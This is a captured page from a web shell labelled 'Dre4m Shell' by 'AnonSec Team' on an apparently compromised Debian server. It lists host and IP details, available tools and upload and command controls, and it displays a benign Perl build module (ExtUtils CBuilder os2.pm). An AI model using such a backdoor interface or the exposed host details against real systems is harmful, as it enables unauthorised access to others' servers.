Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.117.254.177
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/perl/5.36.0/ExtUtils/CBuilder/Platform/os2.pm
package ExtUtils::CBuilder::Platform::os2;

use warnings;
use strict;
use ExtUtils::CBuilder::Platform::Unix;

our $VERSION = '0.280236'; # VERSION
our @ISA = qw(ExtUtils::CBuilder::Platform::Unix);

sub need_prelink { 1 }

sub prelink {
  # Generate import libraries (XXXX currently near .DEF; should be near DLL!)
  my $self = shift;
  my %args = @_;

  my @res = $self->SUPER::prelink(%args);
  die "Unexpected number of DEF files" unless @res == 1;
  die "Can't find DEF file in the output"
    unless $res[0] =~ m,^(.*)\.def$,si;
  my $libname = "$1$self->{config}{lib_ext}";	# Put .LIB file near .DEF file
  $self->do_system('emximp', '-o', $libname, $res[0]) or die "emxexp: res=$?";
  return (@res, $libname);
}

sub _do_link {
  my $self = shift;
  my ($how, %args) = @_;
  if ($how eq 'lib_file'
      and (defined $args{module_name} and length $args{module_name})) {

    # Now know the basename, find directory parts via lib_file, or objects
    my $objs = ( (ref $args{objects}) ? $args{objects} : [$args{objects}] );
    my $near_obj = $self->lib_file(@$objs);
    my $exp_dir = ($near_obj =~ m,(.*)[/\\],s ? "$1/" : '' );

    $args{dl_file} = $1 if $near_obj =~ m,(.*)\.,s; # put ExportList near OBJ

    # XXX _do_link does not have place to put libraries?
    push @$objs, $self->perl_inc() . "/libperl$self->{config}{lib_ext}";
    $args{objects} = $objs;
  }
  # Some 'env' do exec(), thus return too early when run from ksh;
  # To avoid 'env', remove (useless) shrpenv
  local $self->{config}{shrpenv} = '';
  return $self->SUPER::_do_link($how, %args);
}

sub extra_link_args_after_prelink {
  # Add .DEF file to the link line
  my ($self, %args) = @_;

  my @DEF = grep /\.def$/i, @{$args{prelink_res}};
  die "More than one .def files created by 'prelink' stage" if @DEF > 1;
  # XXXX No "$how" argument here, so how to test for dynamic link?
  die "No .def file created by 'prelink' stage"
    unless @DEF or not @{$args{prelink_res}};

  my @after_libs = ($OS2::is_aout ? ()
      : $self->perl_inc() . "/libperl_override$self->{config}{lib_ext}");
  # , "-L", "-lperl"
  (@after_libs, @DEF);
}

sub link_executable {
  # ldflags is not expecting .exe extension given on command line; remove -Zexe
  my $self = shift;
  local $self->{config}{ldflags} = $self->{config}{ldflags};
  $self->{config}{ldflags} =~ s/(?<!\S)-Zexe(?!\S)//;
  return $self->SUPER::link_executable(@_);
}


1;

Anon7 - 2022
AnonSec Team